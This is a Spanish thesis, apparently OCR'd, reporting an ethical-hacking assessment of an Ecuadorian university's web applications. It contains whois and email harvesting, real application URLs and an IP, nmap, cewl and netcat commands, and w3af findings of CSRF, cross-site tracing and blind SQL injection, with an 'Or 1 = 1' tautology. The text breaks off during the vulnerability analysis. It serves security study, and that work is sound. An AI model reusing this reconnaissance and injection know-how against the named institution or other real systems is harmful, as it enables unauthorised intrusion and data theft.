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RESUMEN

En el presente trabajo se realiza un hacking ético a una institucién de
educacién superior, la misma que cuenta con aplicaciones en linea para
brindar una serie de servicios tanto a sus alumnos como a docentes,
aplicaciones que van desde consultas de notas, ingreso de fichas, encuestas,

ingreso de notas y planes de clases.

En el primer capitulo se da una breve introduccion, se expone el problema y
se plasma la propuesta de la soluciéon. Luego se definen los procedimientos a
realizar en la evaluacion y se llevan a cabo paso a paso desde la recoleccion
de informacién, que es donde se ponen en practica técnicas de footprinting
para obtener datos que nos pueden ayudar en el presente trabajo, en este
capitulo se deja en evidencia que existe mucha informacion que puede ser util
para un delincuente informatico y que podria obtener de una forma muy

sencilla, como se lo expone aqui.

Se realizan trabajos de evaluacion de vulnerabilidades y se enfoca en la mas

critica para explotarla y asi obtener la data de toda la institucion, lo que
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presenta un problema ya para la confidencialidad de la informacion y si el
atacante asi lo quisiera, poder llevar a cabo un perjuicio mayor afectando a la

disponibilidad e integridad de la institucion.
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INTRODUCCION

La Institucion de Educacién Superior objeto de este estudio se encuentra
legalmente constituida mediante su respectivo decreto de Ley y cuenta con su
Registro Oficial, desde 1998 ha sido el alma mater de su regidn acogiendo a

mas de 4400 estudiantes en sus aulas.

La Universidad tiene como Vision liderar los procesos de la educacion superior,
investigacién cientifica y tecnolégica, de la regién por lo que se encuentra en
un constante crecimiento y tecnificacion de todos sus servicios, maneja una
gran cantidad de informacion en sus redes de comunicacion y almacena

informacion muy valiosa en sus bases de datos.

Con la conexién de todos sus usuarios a las redes y servicios de la Universidad
se transmite un sin numero de trafico que contiene grandes cantidades de
informacion de todo tipo lo que requiere se implementen sistemas de seguridad
y barreras que mitiguen de alguna forma los riesgos que se presentan cuando

equipos finales se encuentran comprometidos con algun tipo de virus, también
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en caso de existir alguna vulnerabilidad en las aplicaciones que se desarrollan

en la Institucion.

Por todos los antecedentes expuestos es necesaria la identificacion de los
fallos de seguridad que presentan las aplicaciones web y que se identifiquen
las debilidades en los servicios que presta la Institucion a la comunidad

universitaria.



CAPITULO 1

GENERALIDADES

1.1.DESCRIPCION DE PROBLEMA

La informacion es el activo mas importante de una institucién publica o
privada y la constante evolucion de las Tecnologias de Informacién y
Comunicacion hacen necesario que estas se integren y evolucionen
llegando asi a manejar su informacién y ejecutar grandes procesos por
medio de sus redes de comunicacion, pero en los ultimos tiempos el
acelerado desarrollo de un sin nimero de ataques informéticos a estas
instituciones ya sea a su infraestructura tecnolégica como a sus usuarios

hacen que exista una amenaza constante a los activos de las misma.



El trabajo diario de los usuarios de las instituciones esta vinculado
directamente al uso de las TICs en los cuales se exponen a tipos de
atagues que provienen de virus, gusanos, troyanos, rootkits y spyware que
en su forma mas tipica logran hacer mas lentos los sistemas de
comunicacién, mismas amenazas que pueden llegar a extraer y borrar
archivos confidenciales de la institucion incluso a utilizar los equipos para
actividades ilicitas formando parte de grandes botnets para realizar

ataques mas estructurados a terceros

En el desarrollo de las instituciones de formacion de tercer nivel es
necesaria la incorporacion de las TICs pasando a ser un indicador
importante en las evaluaciones de las mismas, siendo por esto que se
debe dar una principal atencion ya que si surge un problema por minimo
gue sea puede ocasionar un mal funcionamiento en las comunicaciones y
llegar a poner en riesgo la disponibilidad de la informacion, la privacidad e

integridad del activo mas importante.

La Institucion cuenta con una poblacién universitaria creciente de 3359
estudiantes matriculados con una planta docente y administrativa de 500
usuarios y la falta de controles en la seguridad de las aplicaciones es un

problema que esta en crecimiento.

Los ataques a las aplicaciones representan un gran problema para el

correcto funcionamiento de los sistemas y servicios, ataques que han



logrado realizar alteraciones en las paginas de inicio (defacement) de
sitios, intentos fallidos de hackeo a servidores, virus en maquinas, robo de
Identidad de cuentas, etc., estos tipos de incidentes han ocasionado que
se queden sin operar ciertos servicios que presta la Institucion por

pequefios periodos de tiempo.

Por lo que se crea la necesidad de un estudio de este tipo con aplicacion
directa de un Hackeo Etico para detectar las vulnerabilidades en las redes
y sistemas con el objetivo de tratar de mejorar las seguridades y mitigar

los posibles problemas que puedan presentarse por estos ataques.

1.2.PROPUESTA DE SOLUCION

Elaboracion de pruebas de penetracion (Pentesting) basado en las
metodologias del Hackeo Etico de las aplicaciones de la Institucion para la
determinacion de vulnerabilidades y riesgos que puedan comprometer la

confidencialidad, integridad y disponibilidad de la informacién.

El presente trabajo como solucion tiene como funcion principal fortalecer
todo el escenario de seguridad en cuanto a la estructura de aplicaciones
demostrando por medio de pruebas y andlisis con una serie de
herramientas de distribuciones Linux como son Kali y herramientas de
plataforma Windows con licencias libres las cuales dejaran al descubierto

diversas vulnerabilidades.



Se planifican trabajos de simulacion de comportamientos y técnicas
usadas por hackers buscando analizar los niveles de seguridad de las
aplicaciones, permitiendo identificar vulnerabilidades y realizar

correcciones de forma inmediata, basados en estandares.

Realizado el andlisis de las vulnerabilidades de seguridad que se han
descubierto se evaluara el tipo y el impacto que podria tener si se las
explota, la ventaja principal del proyecto trazado seran los informes,
correcciones y recomendaciones que permitiran asegurar y garantizar un
ambito de trabajo aceptable para la Institucién, recalcando que la
seguridad informatica no solo se trata de contar con antivirus en las
maquinas o servidores, ni tener un firewall en nuestra red, la seguridad va
mucho mas alld con la implementacion de normas, politicas de
comportamiento y de desarrollo basadas en el estudio anterior que todos

los que somos usuarios de esta red debemos conocer y aplicar.



CAPITULO 2

PLANIFICACION Y METODOLOGIA

2.1.OBTENIENDO INFORMACION DE LA INSTITUCION

Reconocimiento o Footprinting, esta fase es la mas importante dentro de
la realizacién del hacking ético que consiste en la recopilacion de toda la

informacion necesaria para fases posteriores del proceso.

Calles, J. (2011) nos expone sobre el proceso de Footprinting: “consiste
en la busqueda de toda la informacion publica, bien porque haya sido
publicada a propésito o bien por que haya sido publicada por
desconocimiento (abierta, por tanto no estaremos incurriendo en ningun

delito, ademas la entidad ni deberia detectarlo)” [1].



Astudillo, K. (2013) resalta lo siguiente sobre esta fase: “es muy importante
gue le dediquemos nuestro mejor esfuerzo y cabeza a esta fase y que
invirtamos todo el tiempo necesario en realizar un buen levantamiento de

informacion” [2].

La fase de reconocimiento puede ser activo o pasivo, depende si se tiene
0 no interaccidn con el objetivo a evaluar, un reconocimiento pasivo se
realiza por medio de busquedas en Google, Bind (conociendo a
profundidad caracteristicas avanzadas de busquedas), visitas a la pagina
web, aplicaciones de la institucion o empresa a la que se esta realizando
la evaluacion, asi como en diarios o publicaciones de procesos de

compras, etc. se puede obtener informacioén como:

- Quien es la empresa u objetivo

- URL de la pagina web de la empresa

- IPs externas de los servidores

- Proveedor de los rangos de IPs

- Empleados importantes o relevantes para este tipo de pruebas
- Ndmeros de teléfonos

- Ruta de los servidores

- Mail de la compainiia u objetivo

- Redes Sociales

- efc.



Esta recopilacion de informacion puede ser obtenida por servicios como:
Domain name lookup, Whois, Nslookup o por medio de herramientas

automatizadas.

En cuanto a herramientas y Plataformas a utilizar Astudillo, K. (2013) nos
dice: “La plataforma de sistema operativo puede ser Windows, Linux o

Unix, segun su preferencia” [2]

Primeramente procedemos a averiguar la IP del objetivo a evaluar
mediante el comando nslookup como se aprecia en la figura 2.1 en este
caso nos interesa solo saber la direccion del servidor que contiene las

aplicaciones web a evaluar.

Microsoft Windows [Uersion 6.1.76011
Copyright <(c) 2089 Microsoft Corporation. Reservados todos los derechos.

IC=sUserssroot >nzlookup
DHS request timed out.

timeout was 2 seconds.
Servidor predeterminado: UnKnown
Address: NSRRI

- . localdomain

Figura 2.1 Resolucién de la IP mediante comando nslookup

Teniendo el dominio y su IP vemos que informacion podemos obtener de

herramientas como:

- Serversniff.net.ipaddress.com

- Domaintools.com



&% |PAddress.com

»
'!‘!f The Best IP Address Tools

My IP  Arficles IPTools ~ EmailTools ~ Speed Test

IP Lookup Result for IR

IP Address: [ City: Quito

Host of this IP: 230 pichincha_andinanet net Country: Ecuador s
Organization: NI State: Pichincha

ISP: CO e E Timezone: America/Guayaquil
Updated: 12/22/2015 04:58 AM Local Time: 12/22/2015 11:01 AM

© Top of the Page

We found 0 hostnames for IP Address IR

Figura 2.2 Informacién obtenida mediante Serversniff.net

@ DOMAINTOOLS PROFILE = COMMNECT ~ MONITOR ~ ACQUIRE ~ SUPPORT Whois Lookup
IP Address ]

inetnum:

status: allocated

aut-num: M/A

oWner: -
ownerid: EC-ANSA-LACNIC

responsible: ENE s

address: ]

address: 3118 - Quito - EC

country: EC

phone: +59 RN [21283]

oWwner-c: EVGE

tech-c: VMR

abuse-c: VMR

inetrev: I

nserver: PICHIMCHA.ANDINANET.NET

nsstat: 28151221 AA

nslastaa: 20151221

nserver: TUNGURAHUA . ANDINAMET .NET

nsstat: 28151221 AA

nslastaa: 28151221

created: 28131226

changed: 28131226

nic-hdl: EVGE

person: Ei—

e-mail: (Ll

address: |
address: o
country: EC

phone: I [21283]

created: R

changed: ]

nic-hdl: VMR

person: I =

Figura 2.3 Informacién obtenida del servicio Domaintools



Siguiendo con la evaluacion procedemos a consultar informacion a la base
de datos Who-Is donde obtendremos informacion como propietario del

dominio, la direccion, nimeros de teléfonos, servidores DNS, etc.

Astudillo, K. (2013) nos dice: “El Who-Is es un protocolo que permite hacer
consultas a un repositorio en Internet para recuperar informacion acerca

de la propiedad de un nombre de dominio o una direccion IP” [2].

Informacion del Dominio

Dominio: ms—

Status: Delegated

Fecha de Creacion: 13 Apr 2005

Fecha de ultima Modificacion: 21 Mar 2014

Fecha de Expiracion: 13 Apr 2013

Nombres de Servidores DNS:
pichincha.andinanet.net
tungurahua.andinanet.net

Registrar: NIC.EC Registrar

Address: Av Francisco de Orellana No, 234 Edif Blue Towers piso 9 oficina no 902 y 9@3.
Guayaquil , Guayas

Country: EC

Phone: +593 (4) 3729560

Registrante:

Email: {m—
Telefono: I
Fax: I

Nombre: Al
Organizacion: DS
Direccion:

[

Contacto Administrativo:

Email: miiiepesestieieesite—"
Telefono: paesss——

Fax: DI

Nombre: Doy —
Organizacion: pETEEEEEEEEE S —
Direccion:

Figura 2.4 Informacién obtenida del nic.ec
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Gonzalez, P (2013) no expresa en su libro: “Whois es un protocolo TCP
basado en peticion/respuesta utilizado para efectuar consultas a una base
de datos permitiendo determinar el propietario de un nombre de dominio o

direccién IP publica” [3]

Vemos que informacion podemos obtener en el NIC.EC como nombre de
la persona registrante, correo, numeros de teléfonos, la figura 2.4 nos

muestra los resultados obtenidos.

Procedemos a la recoleccion de los correos electrénicos por medio de la
herramienta theHarvester, los mismos que podrian servirnos mas adelante
si se considera necesario realizar un ataque de ingenieria social. Ver figura

2.5

e o S o o o o o o o o o o o o o

TheHarvest

Coded by Christian Martorella
Edge-Security Research
cmartorella@edge-security.com

S oo A A A A A A A A A A H A H A HF A A A A A A A o o o ok koK

*
*
*
*
*
* o\
*
*
*
*
*
*

*
*
*
*
*
*
*
*
*
*
*
*

[-] Searching in Google:
Searching 0 results...
Searching 100 results...
Searching 200 results...
Searching 300 re
Searching 400 res 5o
Searching 500 results...

[+] Emails found:

sec retariarectorado(E———
L e ———
s

. s
. odu . ec
(- . edu . ec
I - < C

.edu.ec

Figura 2.5 Recoleccion de correos electronicos institucionales
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Realizamos footprinting por medio del navegador, primero visitando el
dominio evaluado en donde encontramos una serie de enlaces a

aplicaciones y a tutoriales de uso de las mismas.

ESTUDIANTES
CEEEEEE e
DOCENTES
T ey
e
ADMINISTRATIVOS
e s 1
Anual
S I
= I - Pr
=]
[ e Fiohas
T
AQUI.
YED
—_—

Figura 2.6 P4gina con acceso a aplicaciones

Revisamos que informacion podemos encontrar en la web y en sus

manuales sobre las aplicaciones.

Google  sit- mmm—— 4 H

Todo Imagenes Noticias Maps Mas - Herramientas de busqueda

Cerca de 19 resultados (0,22 segundos)

Anuncic de Google
Probar Google Search Console
www.google.com/webmasters/

iEres duefio de s Obtén datos de clasificacion e indice de
Google.

Catalogo en linez |

Figura 2.7 Busqueda avanzada en google sobre objetivo
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Gonzaélez, P (2014) sobre el uso de motores de busqueda: “Los motores
de busqueda aportan gran cantidad de informacion a la humanidad,
aungue en algunas ocasiones se pueden realizar busquedas con un toque

malicioso” [4].

Podemos recolectar mucha informacién sobre los subdominios que tiene
la institucion a auditar para proceder a identificar si estan trabajando sobre
un mismo servidor o en distintos, asi como llegar a encontrar sus
respectivos contactos a personal que nos puede ser de gran ayuda en
fases posteriores, asi mismo podemos encontrar paneles de ingreso a
aplicaciones que podrian ser atractivas para atacantes maliciosos y una

gran brecha de seguridad si es que no estan debidamente protegidas.

Muchas veces los administradores de sitios y de servidores dejan
directorios sensibles sin la debida proteccion en los cuales se pueden
encontrar una serie archivos que nos podrian dar muy buena informacién

del objetivo analizado.

En la tabla 2.1 presentamos todos los subdirectorios encontrados en el

servidor evaluado.

Tabla 2.1 Directorios encontrados en el equipo auditado

e E e du.ec/

T webs e s web/



http://aplicaciones.upse.edu.ec/
http://aplicaciones.upse.edu.ec/aplicacionesweb/

[EEN

3

§_. N

o

3

"
[¢)
joy
7]

——ion.php

I . php

s/menul/inicio.php

!
©

©
>0
"

°
=3

p

?cdn=objetivo

p?cdn=vision

Z
e)
I
i



http://aplicaciones.upse.edu.ec/app/aplicacion.php
http://aplicaciones.upse.edu.ec/apliwebs/intranet.php
http://aplicaciones.upse.edu.ec/cecupse/aplicacion/cec/cursos/menu/inicio.php
http://aplicaciones.upse.edu.ec/cecupse/aplicacion/cec/cursos/menu/preinscripcion.php
http://aplicaciones.upse.edu.ec/cecupse/aplicacion/cec/cursos/menu/areas.php
http://aplicaciones.upse.edu.ec/cecupse/aplicacion/cec/cursos/aut/sesion.php
http://www.google.com.ec/url?sa=t&rct=j&q=&esrc=s&source=web&cd=9&ved=0ahUKEwjD34z3tbnJAhUK7CYKHYuOC8IQFghHMAg&url=http%3A%2F%2Faplicaciones.upse.edu.ec%2Fcecupse%2Faplicacion%2Fcec%2Fcursos%2Fmenu%2Fnosotros.php&usg=AFQjCNG98LuamzIGRT35NHjhQ7jXNsSSyw&bvm=bv.108194040,d.dmo
http://aplicaciones.upse.edu.ec/cecupse/aplicacion/cec/cursos/menu/contactos.php
http://aplicaciones.upse.edu.ec/cecupse/aplicacion/cec/cursos/menu/nosotros.php?cdn=objetivo
http://aplicaciones.upse.edu.ec/cecupse/aplicacion/cec/cursos/menu/nosotros.php?cdn=vision
http://www.google.com.ec/url?sa=t&rct=j&q=&esrc=s&source=web&cd=13&cad=rja&uact=8&ved=0ahUKEwiW8o2IuLnJAhUFOyYKHb13DME4ChAWCCgwAg&url=http%3A%2F%2Faplicaciones.upse.edu.ec%2Fcecupse%2Faplicacion%2Fcec%2Fcursos%2Fmenu%2Fareas.php%3Fcda%3DNQ%3D%3D&usg=AFQjCNF3c0kUXO9JRjsKD9rAIBonWUySGg&bvm=bv.108194040,d.dmo
http://www.google.com.ec/url?sa=t&rct=j&q=&esrc=s&source=web&cd=14&cad=rja&uact=8&ved=0ahUKEwiW8o2IuLnJAhUFOyYKHb13DME4ChAWCC0wAw&url=http%3A%2F%2Faplicaciones.upse.edu.ec%2Fcecupse%2Faplicacion%2Fcec%2Fcursos%2Fmenu%2Ffacultades.php%3Fcdf%3DMw%3D%3D&usg=AFQjCNEo2SoAHHvgCtQw9qTf068-9dgmLA&bvm=bv.108194040,d.dmo
http://aplicaciones.upse.edu.ec/cecupse/aplicacion/cec/cursos/menu/areas.php?cda=Mw==
http://www.google.com.ec/url?sa=t&rct=j&q=&esrc=s&source=web&cd=16&cad=rja&uact=8&ved=0ahUKEwiW8o2IuLnJAhUFOyYKHb13DME4ChAWCDcwBQ&url=http%3A%2F%2Faplicaciones.upse.edu.ec%2Fcecupse%2Faplicacion%2Fcec%2Fcursos%2Fmenu%2Ffacultades.php%3Fcdf%3DMQ%3D%3D&usg=AFQjCNEdp06tF8du5kCUeDqm-TaHfSDFtg&bvm=bv.108194040,d.dmo
http://www.google.com.ec/url?sa=t&rct=j&q=&esrc=s&source=web&cd=17&cad=rja&uact=8&ved=0ahUKEwiW8o2IuLnJAhUFOyYKHb13DME4ChAWCDwwBg&url=http%3A%2F%2Faplicaciones.upse.edu.ec%2Fcecupse%2Faplicacion%2Fcec%2Fcursos%2Fmenu%2Ffacultades.php%3Fcdf%3DMg%3D%3D&usg=AFQjCNGUr-UpVPr5kYsM5JOLKYyuYHC0kw&bvm=bv.108194040,d.dmo
http://www.google.com.ec/url?sa=t&rct=j&q=&esrc=s&source=web&cd=17&cad=rja&uact=8&ved=0ahUKEwiW8o2IuLnJAhUFOyYKHb13DME4ChAWCDwwBg&url=http%3A%2F%2Faplicaciones.upse.edu.ec%2Fcecupse%2Faplicacion%2Fcec%2Fcursos%2Fmenu%2Ffacultades.php%3Fcdf%3DMg%3D%3D&usg=AFQjCNGUr-UpVPr5kYsM5JOLKYyuYHC0kw&bvm=bv.108194040,d.dmo
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En el footprinting realizado encontramos un manual para el uso de
directores de la institucion, en el cual se indica cual es el usuario y la clave

para ingresar a los sistemas como se puede ver la figura 2.8 - 2.9

Luego, en la siguiente ventana deberd ingresar su Usuario (Immmmmmmmmmn) vy Clave {la misma que utiliza
para Ingreso de Calificaciones por Internet):

v |
_\

Ademds debera ingresar el Cédigo de Segundad el m|smo que se muestra en la imagen, con las letrasy
nimeros tal como se indica.

SAANS\

Cédigo de

Seguridad:
[raansy |

NOTA: Tenga en cuenta que este Cédigo de Seguridad es variable, es decir, cada vez

Figura 2.8 Manual de los sistemas en la busqueda avanzada

EXPLORA APRENDE Y AYUDA PRECIOS

COMPROBANTE DE MATRICULA

Figura 2.9 Manual en el que se deja en evidencia credenciales de acceso
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Generando un codigo de error identificamos que la aplicacion corre sobre

un servidor Centos y en Apache 2.3.3. Ver figura 2.10

€ - C [ apliE
Not Found

The requested URL /aj N was not found on this server.

Apache/2.2.3 (CentOS) Server at HESTENENINNEENIEmS Fort 80

Figura 2.10 Error 404 en el server auditado

Por medio de Webscarab que es un framework escrito en Java por lo que
podemos correrlo en varias plataformas procedemos a interactuar un poco
con la aplicacion web analizando los métodos de envio que emplea la

aplicacion.

Pauli, J (2013) acerca de spidering: “es la accion de indexacion de todos
los recursos de una aplicacion web y catalogaciéon para su uso futuro por

medio de webscarab por toda la aplicacion web” [5].

Habiendo corrido la herramienta como proxy entre nuestro navegador y la
aplicacion podemos ver los métodos de envio utilizados asi como la
estructura de directorios y archivos ya que corrimos el spidering a la url.

Figura 2.11
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WebScarab 00
File View Tools Help

SessionID Analysis | Scripted | Fragments | Fuzzer | Compare | Search | SAML | OpenID | WS-Federation | Identity |
Summary I Messages I Proxy I Manual Request I Spider I Extensions I XSS/CRLF ]

[]Tree Selection filters conversation list

url | Methods | status |Possiblel.| Injection [Set-Cookie] Forms |Hidden fi..| Comments| Domxss | Scripts |File upload
L] 180/ GET 200 0K O [m] [m] [m] [m] ] ] ]

& GET 200 OK a O O [m] O 0 [m]
o [Hcss/ GET 200 OK O O O ] O O O O ]
o Jimagenes/ GET 200 0K O ] ] [m} ] ] O [} ]
[ S| GET 200 0K ] O O O O O O O ]
P GET 200 0K a ] ] O O
¥ CJapp/ GET 200 OK ] O O ] O O O O ]
¢ [ aplicacion.php GET 200 OK O ] ] ] b ]
1 =54 GET 200 0K ] O O O ] ]
o [ aplicacion/ ] O O O O O O O ]

Method Parameters Status Origin_| Tag|  Size |Possible Inj
T ; 00 ro 0 |-
00 ro; 7 0
00 ro;
00 i
00 pider O
00 pider 0
00 pider
00 pider 360
00 pider 0151 0
00 pider 892 =
00 pider 4 0
00 pider 12217
00 pider 18810
00 pider 18535 O
00 pider 27913 0
00 pider 24141
00 pider 2940
00 pider 19873 O
00 pider 7116 0
00 pider 832
00 pider 4% =

Figura 2.11 Analisis con herramienta Webscarab

Siguiendo con la revision de las aplicaciones y analizando los cddigos de
error que podemos generar nos encontramos que la base de datos que se

utiliza es Microsoft SQL Server

(& —— 1 1=0¢ 7 € ][ Q S carcn |wia & & =

[EIMost Visited v [l Offensive Security “Kali Linux "\ Kali Docs "% Kali Tools EMExploit-DB W Aircrack-ng

Error: No se obtuvo datos Consultados.

exception PDOException’ with message 'SQLSTATE[HY000]: General error: 105 General SQL Server error: Check messages from the SQL Server [105]
(severity 15) [Select CONVERT(VARCHAR(10), [IINE, 103) as from
sae.fun_pagos_pendientes_identificacion( I ' in /varfwww/html/: 1286 Stack trace: #0 /varfwww

e —
e . DI ( 1286 : PDO->qUSTY( Select CONVERT(... ) #1 Varwyiw/tn]
o P S S S AR ARSEARE) #2 fvar/wwwi/tm/ -Php(Z2):

getcons A #3 {main}

Figura 2.12 Error Microsoft SQL Server

Encontramos también el acceso a una intranet que no tiene codigos de
verificacion (Captcha) donde se podria mas adelante aplicar un ataque de

fuerza bruta.



17

Universitaria

»

Usuario:

Clave:

Ingresar

Figura 2.13 Intranet de la institucion

2.2.ESCANEO

Gonzalez, P. (2014) sobre escaneo podemos apreciar: “En los sistemas,
cada puerto que se encuentra abierto da una via de explotacion al auditor,

por lo que esta informacion es muy valorada en esta fase” [4]

En la fase de escaneo hemos identificado un host que aloja las
aplicaciones web de la institucion y realizamos la identificacion de servicios
gue se encuentren corriendo a espera de peticiones en el server para la
identificacion de aplicaciones que estén corriendo en un puerto distinto al

80, vea figura 2.14

Lo realizamos mediante Nmap de la siguiente manera:

nmap -PO -ST -sV -p1-65535 XXX XXX XXX XXX



Starting Nmap 7.01 ( https://nmap.org ) at 2015-12-23 22:57 ECT
Nmap scan report for 230.pichincha.andinanet.net (N )

Host is

:~# nmap -PO -sT -sV -pl-65535 s

up (0.14s latency).

Not shown: 65531 filtered ports

PORT
21/tcp
22/tcp
80/tcp
113/tcp

Service

STATE SERVICE VERSION

closed ftp

open  ssh OpenSSH 4.3 (protocol 2.0)
open http Apache httpd 2.2.3 ((Cent0S))
closed ident

detection performed. Please report any incorrect results at https://nmap
.org/submit/ .
Nmap done: 1 15 address (1 host up) scanned in 497.27 seconds
L~

Figura 2.14 Andlisis de servicios con Nmap

- Tenemos el Servidor Apache httpd 2.2.3 corriendo en el puerto 80

- Ademas del servicio OpenSSH 4.3 en el puerto por defecto

- Puerto 21 y 113 cerrados
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Zenmap o0 0
Scan Tools Profile Help
Target: | v | Profile: |Intense scan Scan
Command: |nmap -T4 -A -v T
Hosts | Services | NmapOutput Ports/Hosts Topology |Host Details | Scans
¥ Host Status
oGl State: up
4 230.pichincha.andinan —— @3
Filtered ports: 996
Closed ports; 2
Scanned ports: 1000
Up time: 1057134 .
Last boot: Sat Dec 12 05:46:25 2015
¥ Addresses

1Pva:
IPv6: Not available
MAC: Not available
¥ Hostnames
Name - Type: 230.pichincha.andinanet.net - PTR

V Operating System
Name Linux 2.6.18

V Ports used
Port-Protocol-State: 22 - tcp - open

Port-Protocol-State: 21 - tcp - closed

Filter Hosts

Figura 2.15 Analisis de servicios con Zenmap

Podemos apreciar que se ha realizado un trabajo tolerable en la seguridad

del host como tal, lo que nos hace que avancemos a la siguiente etapa.
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2.3.ENUMERACION

La enumeracién considerada también una subfase del escaneo nos

permite la identificacion mayor informacion sobre el objetivo.

Procedemos por medio de la herramienta DirBuster a enumerar los
directorios que tiene el sitio de aplicaciones, pero para esto hemos
generado un diccionario un poco mas pequefio con la herramienta CEWL
gue nos permite personalizar en cierta forma como vamos a hacer uso de

la herramienta DirBuster, ver figuras 2.16 — 2.17

~# cewl -d 6 -m 3 -w upse.txt http:// S

CeWL 5.1 Robin Wood (robin@digi.ninja) (http://digi.ninja)

:~#D

Figura 2.16 Generacion de diccionario Cewl

Por medio de la herramienta Dirbuster hemos encontrado la estructura del
sitio de aplicaciones y podemos deducir que el mismo server es usado
tanto para desarrollo como produccion, por la forma en que se encuentran

distribuidos los directorios.

No se han encontrado directorios con informacion sensible pero la simple
estructura ya nos ayuda a entender la forma de programacion que tienen

los desarrolladores del sitio.
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Figura 2.17 Andlisis OWASP DirBuster

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing
File Options About Help
e
@ Scan Information ', Results - List View: Dirs: 26 Files; 16~ Results - Tree View | /;\ Errors: 4,
Directory Stucture Response Code Response Size

B/ 200 399
200 314
200 314
200 314
200 314
200 314
200 3053
200 2561
200 314
200 314
200 327
200 3884
200 314
200 199
200 314
200 314
200 4224
200 314
200 314
200 314
200 314
200 327
200 314

Current speed: 0 requests/sec (Select and rig

Automatizando ahora nuestro proceso hacemos uso de una herramienta

gue por su facil manejo es utilizada muy a menudo en trabajos de auditoria

y seguridad web, w3af, la misma que nos confirma la informacion

encontrada anteriormente y nos arroja un detalle de las vulnerabilidades

gue posee el objetivo evaluado, figura 2.18

w3af - [ edu.ec

Perfiles Editar Ver Herramientas Configuracion Ayuda

W 00 oa 4B % 0 a
Configuracion del analisis Log | Resultados | Exploit

KB Browser | URLs | Request/Response navigator

@ Vulnerability § Information | summary | Deseription

Knowledge Base

server_header

error_pages

dns_wildeard Request | Response

user_dir
Raw | Headers

GET http:// I HTTP/1.1
a (R

ost :

form_autocomplete

html_comments
Accept-encoding: gzip, deflate
fingerprint_os Accept: */*

emails User-agent: w3af.org

-
.
3
-
.
3
.
.
3
.

allowed_methods

Figura 2.18 Identificacion de vulnerabilidades con W3af

The server header for the remote web server is: "Apache/2.2.3 (CentOS)". This information was found in the request with id 40.
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Resumiendo un poco los que nos presenta la herramienta en cuanto a

vulnerabilidades encontradas son:

s csrf

L blind_sqli

2 xpath

L mx_injection
> phpinfo (1)

generic (]

Figura 2.19 Vulnerabilidades encontradas con W3af

2.4.ANALISIS DE VULNERABILIDADES Y EXPLOTACION

Una vez que hemos recopilado la informacion del objetivo auditado, como
urls, directorios, usuarios, contrasefas y vulnerabilidades, analizamos cual
de ellas nos podria servir como un vector de ataque efectivo para

conseguir comprometer el equipo o las aplicaciones.

XST Cross Site Tracing

Vulnerabilidad que viene del XSS la misma que es generada por el método
HTTP TRACE, tener este método habilitado podria ser perjudicial en cierto
modo, esto podria permitir el acceso a las cookies por medio del
navegador, por lo general el método TRACE se emplea con fines de

depuracion.
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TRACE tiene como funcion hacer debug del protocolo HTTP, la
herramienta W3af nos da una alerta de que el método esta habilitado.

Figura 2.20

Summary | Description

The web server at "http N < vulnerable to Cross Site Tracing. This vulnerability was found in the request with id

A& Cross site tracing vulnerability

phpinfe (1) Request Response

lind -sqli

xpath

Figura 2.20 Vulnerabilidad XST

Comprobamos esto mediante el uso del comando #nc ip_auditada puerto
y nos damos cuenta que efectivamente el método trace se encuentra

habilitado

OPTIONS / HTTP/1.1
host: 181.211.188.230

HTTP/1.1 200 OK

Date: Wed, 30 Dec 2015 16:14:24 GMT
Server: Apache/2.2.3 (Cent0S)

Allow: GET,HEAD,POST,OPTIONS, TRACE
Content-Length: ©

Connection e

Content-Type: text/html; charset=UTF-8

Figura 2.21 Método TRACE habilitado
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CSRF - Cross Site Request Forgery

Este tipo de vulnerabilidad consiste en la falsificacion de datos en sitios
cruzados, permite que el atacante haga que la victima ejecute codigo

malicioso en su navegador sin que este se dé cuenta.

Veamos la figura 2.22 en el que se explica como funciona un ataque a este

tipo de vulnerabilidad.

Victim has logged in
the trusted site

-

Victim visits a malicious site (due
to social engineering, XSS...)

Malicious site generates a
request to trusted site

gq\ \  =3

Victim’s browser sends a

malicious request
v

COPYRIGHT OPTIMYTH / KIUWAN 2015

Figura 2.22 Vulnerabilidad CSRF
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La aplicacion es vulnerable a este tipo de ataques ya que no existe ningun
mecanismo para confirmar que una peticion o ejecucion de alguna accion
hecha por un usuario ha sido enviada intencionalmente por este, la
aplicacion cuenta con un formulario en el que se encuentra la

vulnerabilidad, figura 2.23

w3af - [ edu.cc eoo

Perfiles =ditar Ver Herramientas Configuracion Ayuda

¥ 00 a M B & 0 a =
Configuracion del anilisis Log | Resultados | Exploit

KB Browser | URLs | Request/Response navigater

[& Vulnerability [ Information Summary | Description

Cross Site Request Forgery has been found at: http: [ p. This vulnerability was found in the
- request with id 2342

- phpinfo (1)

Knowledge Base

- Request | Response

B et gD Raw | Headers | Rendered

v s (1)

CSRF vulnerability
» blnd_sqs ) |

xpath (1)

- mxinjection (1)

. —

Figura 2.23 Vulnerabilidad CSRF

Blind SQL injection vulnerability

Este tipo de vulnerabilidad nos permite realizar un Blind SQLi o Ataque a
ciegas por SQL, la diferencia entre el SQL injection y el SQLi es que en
este caso el sitio vulnerable no muestra mensajes de error, por lo que es

necesario realizar la comprobacion por medio de verdaderos o falsos.

Las sentencias que siempre van a ser correctas “Or 1 = 1” o0 “having 1=1".
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Este tipo de vulnerabilidad es muy sencilla de explotar pero es algo
tediosa, ya que es necesaria una gran cantidad de peticiones a la

aplicacion auditada.

La herramienta w3af nos muestra que la aplicacion es vulnerable a este

tipo de ataques. Figura 2.24

w3af - S e 60
Perfiles ©diio Vi Herramientas Configuracion Ayuda
¥ D0 oa b B 6§ 0 &
Configuracion del analisis Log  Resultados | Exploit
KB Browser | URLs  Request/Response navigator
[& Vulnerability [ Information

Summary | Description

Blind SGL injection using time delays was found at: "http: [ . using HTTP

method POST. The sent post-data was: "...usuario=John8212..." which modifies the "usuaria” parameter. This vulnerability was found in

Knowledge Base

S

> phpinfo (1) the requests with ids [N
>
14 Id: 10938
d csrf (1) Request | Response
v blind_sqli (1) Raw | Headers |Rendered
v blind_sqli (2) HTTP/1.1 28@ OK
o) content-length: 1957
+fi % Blind SQL injection vulnerability x-powered-by: PHP/5.3.3
569 Blind SQL injection vulnerability expires: Thu, 19 Nov 1981 ©8:52:00 GMT

server: Apache/2.2.3 (Cent0S)

g R (1) connection: close

> mx_injection (1) pragma: no-cache

N cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
date: Tue, 29 Dec 2015 03:54:09 GMT

3 p3p: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"

content-type: text/html; charset=utf-8

